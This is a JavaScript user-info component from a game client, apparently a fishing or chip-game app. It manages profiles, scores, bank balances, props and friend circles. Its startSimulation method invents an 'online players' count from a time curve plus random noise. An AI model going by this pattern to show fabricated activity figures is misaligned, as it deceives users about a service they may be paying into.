12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142 |
- var BaseDefine = require("BaseDefine");
- var Global = require("Global");
- var CGPIndividualMission = require("./Platform/mission/CGPIndividualMission")
- import CGPActivityIndianaMission from 'CGAActivityIndianaMission'
- import CGPPropBagMission from 'CGPPropBagMission'
- import CGPYNMatchMission from 'CGPYNMatchMission'
- var propConfig = require("propConfig");
- const UIHelper = require("UIHelper");
- const LanguageKey = require("LanguageKey");
- let topTipMsg = require("topTipMsg")
- const MyMd5 = require("MyMd5");
- cc.Class({
- extends: cc.Component,
- properties: {
- _individualMission: null,
- m_UpdataInfoCallBack: [],
- m_UpdataPayCallBack: [],
- m_UpdataPYQInfoCallBack: [],
- _activityIndianaMission: null,
- //m_kShareGoldMission:null, //低保
- //_protectGoldInfo:null, //低保信息
- },
- init() {
- this.m_userInfo = {};
- this.m_UpdataInfoCallBack = [];
- this.m_UpdataPayCallBack = [],
- this.m_UpdataPYQInfoCallBack = [],
- this.m_IndividualUserData = {
- UserNote: "",
- Compellation: "",
- SeatPhone: "",
- MobilePhone: "",
- QQ: "",
- EMail: "",
- DwellingPlace: "",
- HeadHttp: "",
- AutoGraph: "",
- };
- this.m_mailList = []; //邮件
- this.m_userPyqList = []; //pyq
- this.m_publicPyqList = []; //公开pyq
- this.m_userPropList = []; //道具
- this.m_experienceConfig = null;
- this.headAtlas = null;
- //预加载头像缓存
- cc.resources.load('Atlas/headPortrait/avatars', cc.SpriteAtlas, (err, object) => {
- if (err) {
- cc.log('----Atlas/headPortrait/avatars-----cc.resources.load err: ' + JSON.stringify(err));
- return;
- }
- this.headAtlas = object;
- })
- this.vipAtlas = null;
- //预加载头像缓存
- cc.resources.load('Atlas/headPortrait/vips', cc.SpriteAtlas, (err, object) => {
- if (err) {
- cc.log('----Atlas/headPortrait/vips-----cc.resources.load err: ' + JSON.stringify(err));
- return;
- }
- this.vipAtlas = object;
- })
- // this.startSimulation();
- },
- bindEventGamePeople(fn) {
- this.m_GamePeopleCallback = fn;
- },
- clearEventGamePeople() {
- this.m_GamePeopleCallback = null;
- },
- upGamePeople() {
- if (this.m_GamePeopleCallback) {
- this.m_GamePeopleCallback();
- }
- },
- startSimulation() {
- this.m_GamePeopleCallback = null;
- this.m_GameDelta = 300;
- this.m_NowTimesIdx = 0;
- this.onlineNum = 0;
- this.m_MaxPeople = 25000;
- this.m_TimesPercent = [];
- //5-22点高峰期
- for (let i = 61; i < 265; ++i) {
- this.m_TimesPercent[i] = (i - 60) / 204;
- }
- for (let i = 265; i < 61 + 288; ++i) {
- this.m_TimesPercent[i % 288] = (i - 264) / 84;
- }
- let now = new Date();
- let min = now.getMinutes();
- let sec = now.getSeconds();
- let delayTime = this.m_GameDelta - (min % 5 * 60 + sec);
- // Global.print("minutes:"+min+" seconds:"+sec+" delay:"+delayTime);
- this.m_NowTimesIdx = now.getHours() * 12 + Math.floor(min / 5);
- this.unschedule(this.updateGame);
- this.updateGame();
- this.schedule(this.updateGame, this.m_GameDelta, cc.macro.REPEAT_FOREVER, delayTime);
- },
- updateGame() {
- let percent = this.m_TimesPercent[this.m_NowTimesIdx];
- this.m_NowTimesIdx++;
- this.m_NowTimesIdx %= this.m_TimesPercent.length;
- this.onlineNum = Math.floor((Math.random() * 0.2 + 0.9) * this.m_MaxPeople * (percent));
- // for (let i = 1; i <= this.m_MaxKind; ++i) {
- // let analyse = this.m_ItemCtrl.getAnalyseByKindID(i);
- // // Global.print(analyse);
- // if (Global.IsNullObj(analyse)) {
- // continue;
- // }
- // let j = 0;
- // for (let k in analyse) {
- // let arrs = analyse[k];
- // // Global.print(arrs);
- // let randNum = Math.floor((Math.random() * 0.2 + 0.9) * this.m_MaxPeople[i][j++]);
- // let X = randNum;
- // let Y = Math.floor(randNum/16);
- // let Z = arrs.length;
- // for (let l = 0; l < arrs.length; ++l) {
- // let M = Math.floor((1 + 15 * (Z-l-1) / Z) * X / 16);
- // // Global.print("i:"+l+" num:"+M);
- // this.m_NowPeople[arrs[l]] = Math.floor(M + (X/4-M) * (1-percent));
- // }
- // }
- // }
- Global.print("now online:" + this.onlineNum);
- this.upGamePeople();
- },
- getOnlineNum() {
- return this.onlineNum;
- },
- //通过faceid获取头像spriteframe
- getHeadSpriteFrameByFaceID(faceID) {
- if (!this.headAtlas) {
- Global.print("getHeadSpriteFrameByFaceID headAtlas is null")
- return null;
- }
- let spr = this.headAtlas.getSpriteFrame('avatar_' + faceID);
- if (spr) return spr;
- Global.print("getHeadSpriteFrameByFaceID headAtlas avatar_0")
- return this.headAtlas.getSpriteFrame('avatar_0');
- },
- getVIPSpriteFrameByFaceID(memberID) {
- if (!this.vipAtlas) {
- return null;
- }
- return this.vipAtlas.getSpriteFrame('txk_0' + memberID);
- },
- //获取道具通过id和数量
- setUserPropNumByPropID(propid, propnum) {
- for (let i = 0; i < this.m_userPropList.length; ++i) {
- if (this.m_userPropList[i].dwPropID == propid) {
- this.m_userPropList[i].dwPropNum = propnum;
- if (this.m_userPropList[i].dwPropNum <= 0) {
- this.m_userPropList.splice(i, 1);
- }
- break;
- }
- }
- },
- //道具列表
- getUserPropList() {
- return this.m_userPropList;
- },
- delUserProp(dwPropID, dwPropNum) {
- var prop = this.getUserPropById(dwPropID);
- if (prop) {
- prop.dwPropNum -= dwPropNum;
- if (prop.dwPropNum <= 0) {
- prop.dwPropNum = 0;
- }
- }
- },
- setUserProp(dwPropID, dwPropNum, info) {
- this.m_userPropList.push({ dwPropID: dwPropID, dwPropNum: dwPropNum, info: info });
- },
- clearUserProp() {
- this.m_userPropList.splice(0, this.m_userPropList.length);
- },
- addUserProp(dwPropID, dwPropNum, info) {
- var prop = this.getUserPropById(dwPropID);
- if (prop) {
- prop.dwPropNum += dwPropNum;
- } else {
- this.m_userPropList.push({ dwPropID: dwPropID, dwPropNum: dwPropNum, info: info });
- }
- },
- //获取道具
- getUserPropById(propId) {
- for (let index = 0; index < this.m_userPropList.length; index++) {
- const element = this.m_userPropList[index];
- if (element.dwPropID == propId) {
- return element;
- }
- }
- return null;
- },
- //信息更新邦定事件
- bindEventPlayerInfo: function (fn) {
- this.m_UpdataInfoCallBack.push(fn);
- },
- clearBindEventPlayerInfo: function () {
- this.m_UpdataInfoCallBack.splice(0, this.m_UpdataInfoCallBack.length);
- },
- upPlayerInfo: function () {
- for (var i = 0; i < this.m_UpdataInfoCallBack.length; ++i) {
- this.m_UpdataInfoCallBack[i]();
- }
- },
- //充值状态更新绑定事件
- bindEventPlayerPay: function (fn) {
- this.m_UpdataPayCallBack.push(fn);
- },
- clearBindEventPlayerPay: function () {
- this.m_UpdataPayCallBack.splice(0, this.m_UpdataPayCallBack.length);
- },
- upPlayerPay: function () {
- for (var i = 0; i < this.m_UpdataPayCallBack.length; ++i) {
- this.m_UpdataPayCallBack[i]();
- }
- },
- ResetUserInfoData: function () {
- this.m_userInfo = {};
- this.m_UpdataInfoCallBack = [];
- this.m_IndividualUserData = {
- UserNote: "",
- Compellation: "",
- SeatPhone: "",
- MobilePhone: "",
- QQ: "",
- EMail: "",
- DwellingPlace: "",
- HeadHttp: "",
- AutoGraph: "",
- };
- },
- getGameID: function () {
- if (this.m_userInfo["GameID"])
- return this.m_userInfo["GameID"];
- return 0;
- },
- getUserID: function () {
- if (this.m_userInfo["UserID"])
- return this.m_userInfo["UserID"];
- return 0;
- },
- //获取增加的积分
- getUserAddScoreEx: function () {
- if (this.m_userInfo["AddUserScoreEx"])
- return this.m_userInfo["AddUserScoreEx"];
- return 0;
- },
- //设置用户增加积分
- setUserAddScoreEx: function (Revenue) {
- this.m_userInfo["AddUserScoreEx"] = Revenue;
- },
- getGender: function () {
- if (this.m_userInfo["Gender"])
- return this.m_userInfo["Gender"];
- return 0;
- },
- getNickName: function () {
- if (this.m_userInfo["NickName"])
- return Global.gbk2Utf8(this.m_userInfo["NickName"]);
- return 0;
- },
- getGGNum(){ //当日是否领过救济金
- if(this.m_userInfo['GGNum']){
- return this.m_userInfo['GGNum'];
- }
- return 0;
- },
- getVIPCard(){ //获取自身vip周卡的id, 没有买过就是0
- if(this.m_userInfo['VIPCard']){
- return this.m_userInfo['VIPCard'];
- }
- return 0;
- },
- getVIPCardNum(){ //获取对应vip周卡的剩余次数
- if(this.m_userInfo['VIPCardNum']){
- return this.m_userInfo['VIPCardNum'];
- }
- return 0;
- },
- getVIPExp(){
- if(this.m_userInfo['VIPExp']){
- return this.m_userInfo['VIPExp'];
- }
- return 0;
- },
- getGameServerLevel: function () {
- if (this.m_userInfo["RoomId"])
- return this.m_userInfo["RoomId"];
- return -1;
- },
- getSignNum(){ //从0开始,签到后+1
- if(this.m_userInfo['SignNum']){
- return this.m_userInfo['SignNum'];
- }
- return 0;
- },
- getSignStatus(){ //==0今天没领取
- if(this.m_userInfo['SignStatus']){
- return this.m_userInfo['SignStatus'];
- }
- return 0;
- },
- setGameServerLevel: function (roomid) {
- this.m_userInfo["RoomId"] = roomid;
- },
- getAccounts: function () {
- if (this.m_userInfo["Accounts"])
- return this.m_userInfo["Accounts"];
- return 0;
- },
- getAccountsMD5: function () {
- if (this.m_userInfo["Accounts"])
- return MyMd5(this.m_userInfo["Accounts"]);
- return 0;
- },
- /*
- getVIPLevel() {
- if (this.m_userInfo["CustomID"]) {
- return this.m_userInfo["CustomID"];
- }
- return 0;
- },
- setVIPLevel(level) {
- this.m_userInfo["CustomID"] = level;
- this.upPlayerInfo();
- },*/
- getVIPLevel(){
- // TODO
- return 0;
- },
- getUnionid: function () {
- //if (BaseDefine.GAME_PLATFORM == BaseDefine.WEB_H5_PLATFORM) {
- return this.getAccounts();
- //}
- //var unionid = Global.getLocalStorageVaule("LoginUnionid", "");
- //return unionid;
- },
- setUserScore: function (Revenue) {
- this.m_userInfo["UserScore"] = Revenue;
- this.upPlayerInfo();
- },
- getUserScore: function () {
- if (this.m_userInfo["UserScore"]) {
- var score = this.m_userInfo["UserScore"];
- return score;
- }
- return 0.00;
- },
- getUserInsure: function () {
- if (this.m_userInfo["UserInsure"])
- return this.m_userInfo["UserInsure"];
- return 0;
- },
- //税收
- setRevenue: function (Revenue) {
- this.m_userInfo["Revenue"] = Revenue;
- this.upPlayerInfo();
- },
- setUserInsure: function (Score) {
- Global.print("设置鲜花饼::" + Score);
- this.m_userInfo["UserInsure"] = Score;
- this.upPlayerInfo();
- },
- getRevenue: function () {
- if (this.m_userInfo["Revenue"])
- return this.m_userInfo["Revenue"];
- return 0;
- },
- //获取动态密码
- getDynamicPass() {
- if (this.m_userInfo["GroupName"])
- return this.m_userInfo["GroupName"];
- return "";
- },
- setBankScore: function (Score) {
- Global.print("设置银行::" + Score);
- this.m_userInfo["BankScore"] = Score;
- this.upPlayerInfo();
- },
- getBankScore: function () {
- var score = this.m_userInfo["BankScore"];
- if (score) {
- return score;
- }
- return 0;
- },
- setUserName: function (userName) {
- this.m_userInfo["UserName"] = userName;
- },
- getUserName: function () {
- if (this.m_userInfo["UserName"])
- return this.m_userInfo["UserName"];
- return "";
- },
- setPixNum: function (Num) {
- this.m_userInfo["PixNum"] = Num;
- },
- getPixNum: function () {
- if (this.m_userInfo["PixNum"])
- return this.m_userInfo["PixNum"];
- return 0;
- },
- setPixType: function (Type) {
- this.m_userInfo["PixType"] = Type;
- },
- getPixType: function () {
- if (this.m_userInfo["PixType"])
- return this.m_userInfo["PixType"];
- return 0;
- },
- getPhoneNum: function () {
- if (this.m_userInfo["PhoneNum"])
- return this.m_userInfo["PhoneNum"];
- return 0;
- },
- setPhoneNum: function (Num) {
- this.m_userInfo["PhoneNum"] = Num;
- },
- getFirstPayStatus: function () {
- if (this.m_userInfo["FirstPay"])
- return this.m_userInfo["FirstPay"];
- return 0;
- },
- setFirstPayStatus: function (status) {
- this.m_userInfo["FirstPay"] = status;
- this.upPlayerPay();
- },
- getDayPayStatus: function () {
- if (this.m_userInfo["DayPay"])
- return this.m_userInfo["DayPay"];
- return 0;
- },
- setDayPayStatus: function (status) {
- this.m_userInfo["DayPay"] = status;
- this.upPlayerPay();
- },
- onAddProtectInfoNet(data) {
- if (data.Success == 0) {
- this.setUserScore(data.CurScore);
- }
- },
- getUserMedal: function () {
- if (this.m_userInfo["UserMedal"])
- return this.m_userInfo["UserMedal"];
- return 0;
- },
- //用户魅力值(用作每日分享获得鲜花饼次数)
- setLoveLiness: function (loveliness) {
- this.m_userInfo["LoveLiness"] = loveliness;
- },
- getLoveLiness: function () {
- if (this.m_userInfo["LoveLiness"])
- return this.m_userInfo["LoveLiness"];
- return 0;
- },
- getMemberOrder: function () {
- if (this.m_userInfo["cbMemberOrder"])
- return this.m_userInfo["cbMemberOrder"];
- return 0;
- },
- getMemberOverDate: function () {
- if (this.m_userInfo["MemberOverDate"])
- return this.m_userInfo["MemberOverDate"];
- return 0;
- },
- getChannel: function () {
- if (this.m_userInfo["Channel"])
- return this.m_userInfo["Channel"];
- return 0;
- },
- setFishMultiple: function (multi) {
- this.m_userInfo["dwFishMultiple"] = multi;
- },
- getFishMultiple: function () { //得到捕鱼最高解锁倍数
- if (this.m_userInfo["dwFishMultiple"])
- return this.m_userInfo["dwFishMultiple"];
- return 0;
- },
- //获取CPF
- getCPF(){
- if(this.m_userInfo['CPF']){
- return this.m_userInfo['CPF'];
- }
- return '';
- },
- //获取今日登录时间
- getLoginTime(){
- if(this.m_userInfo['DayLoginTime']){
- return this.m_userInfo['DayLoginTime'];
- }
- return 0;
- },
- reqAccountInfo: function () {
- if (!this._individualMission) {
- this._individualMission = new CGPIndividualMission({ URL: cc.vv.config.Address, Port: cc.vv.config.Port });
- }
- this._individualMission.queryAccountInfo(this.getUserID());
- },
- reqIndividualInfo: function () {
- // if (!this._individualMission) {
- // this._individualMission = new CGPIndividualMission({ URL: cc.vv.config.Address, Port: cc.vv.config.Port });
- // }
- // this._individualMission.queryIndividual(this.getUserID());
- },
- //道具信息
- reqUserPropInfo: function () {
- if (!this._propBagMission) {
- this._propBagMission = new CGPPropBagMission({ URL: cc.vv.config.Address, Port: cc.vv.config.Port });
- this._propBagMission.setMissionSink(this);
- }
- this._propBagMission.queryUserProp(this.getUserID());
- },
- reqMatchProp: function () {
- if (!this._PropYNMatchMission) {
- this._PropYNMatchMission = new CGPYNMatchMission({ URL: cc.vv.config.Address, Port: cc.vv.config.Port });
- this._PropYNMatchMission.setMissionSink(this);
- }
- this._PropYNMatchMission.getMatchProp(this.getUserID());
- },
- //PYQ 信息
- //信息更新邦定事件
- bindEventPYQInfoList: function (fn) {
- var handler = function () {
- fn();
- };
- this.m_UpdataPYQInfoCallBack.push(handler);
- },
- onGPGetMyPYQList: function (msg) {
- Global.print("onGPGetMyPYQList 亲友圈消息 ");
- this.m_userPyqList = msg.kList;
- for (var i = 0; i < this.m_UpdataPYQInfoCallBack.length; ++i) {
- this.m_UpdataPYQInfoCallBack[i]();
- }
- return;
- },
- getMyPYQList: function () {
- return this.m_userPyqList;
- },
- onGPGetPublicPYQList: function (msg) {
- Global.print("onGPGetPublicPYQList 彩云阁消息 ");
- this.m_publicPyqList = msg.kList;
- },
- getPublicPYQList: function () {
- return this.m_publicPyqList;
- },
- getMyPYQInfoById: function (pyqId, isClickPYQ) {
- if (!isClickPYQ) {
- for (let index = 0; index < this.m_userPyqList.length; index++) {
- const element = this.m_userPyqList[index];
- if (element.ID == pyqId && element.State == 1) {
- return element;
- }
- }
- }
- else {
- var curPyqData = null;
- var myPyqData = null;
- var pyqData = null;
- for (let index = 0; index < this.m_userPyqList.length; index++) {
- const element = this.m_userPyqList[index];
- if (element.ID == pyqId && element.State == 1 && element.UserID == cc.vv.globalUserInfo.getUserID()) {
- curPyqData = element;
- break;
- }
- }
- if (curPyqData) {
- return curPyqData;
- }
- for (let index = 0; index < this.m_userPyqList.length; index++) {
- const element = this.m_userPyqList[index];
- if (element.UserID == cc.vv.globalUserInfo.getUserID()) {
- myPyqData = element;
- break;
- }
- }
- if (myPyqData) {
- return myPyqData;
- }
- for (let index = 0; index < this.m_userPyqList.length; index++) {
- const element = this.m_userPyqList[index];
- if (element.ID == pyqId && element.State == 1) {
- pyqData = element;
- break;
- }
- }
- if (pyqData) {
- return pyqData;
- }
- }
- return null;
- },
- delOnePYQ: function (pyqId) {
- if (this.m_userPyqList.length > 0) {
- for (let i = 0; i < this.m_userPyqList.length; ++i) {
- if (this.m_userPyqList[i].ID == pyqId) {
- this.m_userPyqList.splice(i, 1);
- }
- }
- }
- },
- changePYQInfo: function (ID, info, name) {
- if (this.m_userPyqList.length > 0) {
- for (let i = 0; i < this.m_userPyqList.length; ++i) {
- if (this.m_userPyqList[i].ID == ID) {
- this.m_userPyqList[i][name] = info;
- }
- }
- }
- },
- changeOnePYQInfo: function (ID, info) {
- if (this.m_userPyqList.length > 0) {
- for (let i = 0; i < this.m_userPyqList.length; ++i) {
- if (this.m_userPyqList[i].ID == ID) {
- this.m_userPyqList.splice(i, 1, info);
- }
- }
- }
- },
- getChannelOpenRechargeSort() {
- // let num = cc.vv.config.Channel + cc.vv.config.ChannelIdx;
- let URL = BaseDefine.CHANNEL_OPEN_RECHARGE;
- // let xhr = new XMLHttpRequest();
- let data = "Channel=" + cc.vv.reflection.getAppId() + "&ChannelNumber=" + this.getChannel() + "&UserID=" + this.getUserID();
- // xhr.open("POST", URL);
- // xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
- // xhr.onreadystatechange = () => {
- // if (xhr.readyState !== 4) { return; }
- // if (xhr.status === 200) {
- // Global.print(xhr.responseText)
- // cc.vv.channelOpenRecharge = JSON.parse(xhr.responseText).data;
- // }
- // };
- // xhr.send(data);
- Global.httpRequest("POST", URL, data, function (code, responseText) {
- if (code === "") {//成功
- cc.vv.channelOpenRecharge = JSON.parse(responseText).data;
- }
- });
- },
- //登陆成功
- onLogonSuccess(data) {
- // Global.print("[----注意----]onLogonSuccess::" + JSON.stringify(data));
- this.m_userInfo = data;
- /* // add by 弹雨11 2023-12-06 17:27:16
- this.getChannelOpenRechargeSort();
- this.reqUserPropInfo();
- this.reqIndividualInfo();
- */
- //保存用户ID
- Global.setLocalStorageVaule("UserID", this.getUserID());
- Global.setLocalStorageVaule("gameID", this.getGameID());
- Global.setLocalStorageVaule("Accounts", this.getAccounts());
- Global.setLocalStorageVaule("UserLocalNickname", Global.gbk2Utf8(this.getNickName()));
-
- },
- onLogonFinish() {
- },
- onGAGetActivityUserMultiScore(data) {
- Global.print("onGAGetActivityUserMultiScore::" + JSON.stringify(data));
- this.setRevenue(data.lRevenue);
- this.setUserScore(data.lUserScore);
- this.setUserInsure(data.lUserInsure);
- this.setBankScore(data.lBankScore);
- },
- onQueryUserPropNet: function (data) {
- var datastr = JSON.stringify(data);
- Global.print("GlobalUserInfo onQueryUserPropNet 玩家道具 datastr = " + datastr);
- while (true) {
- var finder = false;
- for (let index = 0; index < this.m_userPropList.length; index++) {
- const element = this.m_userPropList[index];
- if (102010 > element.dwPropID && element.dwPropID >= 100000) {
- continue;
- }
- this.m_userPropList.splice(index, 1);
- finder = true;
- break;
- }
- if (!finder) {
- break;
- }
- }
- for (let index = 0; index < data.kList.length; index++) {
- const element = data.kList[index];
- this.addUserProp(element.dwPropID, element.dwPropNum, null);
- }
- //this.m_userPropList = data.kList;
- },
- onMatchPropNet: function (data) {
- var datastr = JSON.stringify(data);
- Global.print("GlobalUserInfo onMatchPropNet 比赛道具 datastr = " + datastr);
- while (true) {
- var finder = false;
- for (let index = 0; index < this.m_userPropList.length; index++) {
- const element = this.m_userPropList[index];
- if (102010 > element.dwPropID && element.dwPropID >= 100000) {
- this.m_userPropList.splice(index, 1);
- finder = true;
- break;
- }
- }
- if (!finder) {
- break;
- }
- }
- for (let index = 0; index < data.kList.length; index++) {
- const element = data.kList[index];
- this.m_userPropList.push({ dwPropID: element.dwPropID, dwPropNum: element.dwPropNum, info: element });
- //this.addUserProp(element.dwPropID, 1, element);
- //this.setUserPropNumByPropID(element.dwPropID, 1);
- }
- },
- //查询信息回调
- onQueryIndividual(data) {
- Global.print("onQueryIndividual::" + JSON.stringify(data));
- if (data.Compellation !== "" || !this.m_IndividualUserData.Compellation) this.m_IndividualUserData.Compellation = data.Compellation;
- if (data.DwellingPlace !== "" || !this.m_IndividualUserData.DwellingPlace) this.m_IndividualUserData.DwellingPlace = data.DwellingPlace;
- if (data.EMail !== "" || !this.m_IndividualUserData.EMail) this.m_IndividualUserData.EMail = data.EMail;
- if (data.LogonIP !== "" || !this.m_IndividualUserData.LogonIP) this.m_IndividualUserData.LogonIP = data.LogonIP;
- if (data.MobilePhone !== "" || !this.m_IndividualUserData.MobilePhone) this.m_IndividualUserData.MobilePhone = data.MobilePhone;
- if (data.QQ !== "" || !this.m_IndividualUserData.QQ) this.m_IndividualUserData.QQ = data.QQ;
- if (data.SeatPhone !== "" || !this.m_IndividualUserData.SeatPhone) this.m_IndividualUserData.SeatPhone = data.SeatPhone;
- if (data.UserChannel !== "" || !this.m_IndividualUserData.UserChannel) this.m_IndividualUserData.UserChannel = data.UserChannel;
- if (data.UserNote !== "" || !this.m_IndividualUserData.UserNote) this.m_IndividualUserData.UserNote = data.UserNote;
- if (data.AutoGraph !== "" || !this.m_IndividualUserData.AutoGraph) this.m_IndividualUserData.AutoGraph = data.AutoGraph;
- if (data.HeadHttp != "" || !this.m_IndividualUserData.HeadHttp) this.m_IndividualUserData.HeadHttp = data.HeadHttp;
- //if (data.NickName !== "") this.setNickName(Global.gbk2Utf8(data.NickName));
- //如果本地数据跟服务端不一致,修改服务端头像数据
- /*if (cc.vv.headimgurl && data.HeadHttp != cc.vv.headimgurl) {
- this.modifyUserHead(cc.vv.headimgurl);
- }*/
- //如果本地数据跟服务端不一致,修改服务端昵称
- // if (cc.vv.nickname && data.NickName !== Global.utf82Gbk(cc.vv.nickname)) {
- // this.modifyNickName(cc.vv.nickname);
- // cc.vv.nickname = undefined;
- // }
- this.upPlayerInfo();
- },
- //查询信息回调
- onQueryAccountInfoNet(data) {
- this.m_userInfo.UserScore = data.UserScore;
- this.m_userInfo.UserInsure = data.UserInsure;
- this.m_userInfo.FaceID = data.FaceID;
- this.m_userInfo.Gender = data.Gender;
- this.m_userInfo.UserID = data.UserID;
- this.m_userInfo.GameID = data.GameID;
- this.m_userInfo.SpreaderID = data.SpreaderID;
- this.m_userInfo.Experience = data.Experience;
- this.m_userInfo.Accounts = data.Accounts;
- this.m_userInfo.CustomID = data.CustomID;
- this.upPlayerInfo();
- },
- //修改信息回调(此数据是从客户端本地缓存中获取的,修改成功服务端没回传数据)
- onModifyInfo(data) {
- Global.print("onModifyInfo::" + JSON.stringify(data));
- //帐号资料
- if (data.Gender) this.m_userInfo.Gender = data.Gender;
- //详细资料
- if (data.UserNote) this.m_IndividualUserData.UserNote = data.UserNote;
- if (data.Compellation) this.m_IndividualUserData.Compellation = data.Compellation;
- if (data.SeatPhone) this.m_IndividualUserData.SeatPhone = data.SeatPhone;
- if (data.MobilePhone) this.m_IndividualUserData.MobilePhone = data.MobilePhone;
- if (data.QQ) this.m_IndividualUserData.QQ = data.QQ;
- if (data.EMail) this.m_IndividualUserData.EMail = data.EMail;
- if (data.UserChannel) this.m_IndividualUserData.UserChannel = data.UserChannel;
- if (data.HeadHttp) this.m_IndividualUserData.HeadHttp = data.HeadHttp;
- if (data.AutoGraph || (data.wDataDescribe && data.wDataDescribe == BaseDefine.DTP_GP_UI_AUTOGRAPH)) this.m_IndividualUserData.AutoGraph = data.AutoGraph;
- if (data.NickName) {
- this.setNickName(Global.utf82Gbk(data.NickName));
- }
- this.upPlayerInfo();
- },
- onModifyFaceID(data) {
- Global.print("onModifyInfo::" + JSON.stringify(data));
- if (data.wFaceID) this.m_userInfo.FaceID = data.wFaceID;
- this.upPlayerInfo();
- },
- //绑定代理回调
- onBindAgentID(data) {
- this.m_IndividualUserData.DwellingPlace = data.AgentInfo;
- },
- getAgentID(data) {
- return this.m_IndividualUserData.DwellingPlace;
- },
- //获取头像
- getHeadHttp() {
- if (this.m_userInfo.FaceID > 0) {
- return this.m_userInfo.FaceID;
- }
- return this.m_IndividualUserData.HeadHttp;
- },
- getUserExperience() {
- return this.m_userInfo.Experience;
- },
- getUserIP() {
- return this.m_IndividualUserData.LogonIP;
- },
- //个性签名
- getAutoGraph() {
- return Global.gbk2Utf8(this.m_IndividualUserData.AutoGraph);
- },
- //设置头像
- setUserHead(httpHead) {
- if (httpHead !== "" && typeof httpHead == 'string') {
- this.m_IndividualUserData.HeadHttp = httpHead;
- }
- },
- //设置昵称
- setNickName(nickname) {
- if (nickname !== "" && typeof nickname == 'string') {
- Global.print("setNickName:: nickname = " + nickname);
- this.m_userInfo.NickName = nickname;
- }
- },
- //修改头像
- modifyUserHead: function (httpHead) {
- if (typeof httpHead == 'string' && httpHead.length > 0) {
- if (!this._individualMission) {
- this._individualMission = new CGPIndividualMission({ URL: cc.vv.config.Address, Port: cc.vv.config.Port });
- }
- if (true/*cc.vv.loginType == 0*/) {
- this._individualMission.modifyHeadHttp(httpHead);
- } else {
- this._individualMission.modifyXLHeadHttp(httpHead);
- }
- }
- },
- //修改头像2
- modifyUserFaceID(faceID) {
- // Global.print("faceID:"+faceID)
- if (faceID > 0 && faceID < 11) {
- // if (!this._individualMission) {
- // this._individualMission = new CGPIndividualMission({ URL: cc.vv.config.Address, Port: cc.vv.config.Port });
- // }
- // this._individualMission.modifyFaceID(faceID);
- var self = this;
- let url = BaseDefine.URL_PREFIX + "game_api/update_user_info?UserID=" + this.getUserID() + "&FaceID=" + faceID;
- Global.httpRequest("POST", url, "", function (code, data) {
- if (code === "") {//成功
- self.m_userInfo.FaceID = faceID;
- self.upPlayerInfo();
- }
- });
- }
- },
- //修改昵称
- modifyNickName: function (nickname) {
- /*if (BaseDefine.GAME_PLATFORM == BaseDefine.WEB_H5_PLATFORM) {
- return ;
- }*/
- if (typeof nickname == 'string' && nickname.length > 0) {
- // if (!this._individualMission) {
- // this._individualMission = new CGPIndividualMission({ URL: cc.vv.config.Address, Port: cc.vv.config.Port });
- // }
- // if (true/*cc.vv.loginType == 0*/) {
- // this._individualMission.modifyName(nickname);
- // } else {
- // this._individualMission.modifyXLName(nickname);
- // }
- var self = this;
- let url = BaseDefine.URL_PREFIX + "game_api/update_user_info?UserID=" + this.getUserID() + "&NickName=" + nickname;
- Global.httpRequest("POST", url, "", function (code, data) {
- if (code === "") {//成功
- self.setNickName(nickname);
- self.upPlayerInfo();
- }
- });
- }
- },
- //修改签名
- modifyAutoGraph: function (autoGraph) {
- if (!this._individualMission) {
- this._individualMission = new CGPIndividualMission({ URL: cc.vv.config.Address, Port: cc.vv.config.Port });
- }
- this._individualMission.modifyAutoGraph(autoGraph);
- },
- requestAutoPhoneCode(phone, callback) {
- UIHelper.showWaitNode("reqServer");
- let URL = BaseDefine.GETCODENUM_URL + "?PhoneNum=" + phone + "&formart=1";
- let xhr = new XMLHttpRequest();
- xhr.timeout = 30000;
- xhr.ontimeout = () => {
- UIHelper.hideWaitNode();
- topTipMsg.showTopTipMsg(LanguageKey.t("pubWords.code_timeout"));
- }
- xhr.open("GET", URL);
- xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
- xhr.onreadystatechange = () => {
- if (xhr.readyState !== 4) {
- return;
- }
- if (xhr.status === 200) {
- UIHelper.hideWaitNode();
- let result = JSON.parse(xhr.responseText);
- Global.print(result);
- // this.unschedule(this.timeoutCall);
- if (callback) {
- callback(result);
- }
- }
- };
- xhr.send();
- },
- requrePhoneCode(phone, callback, type) {
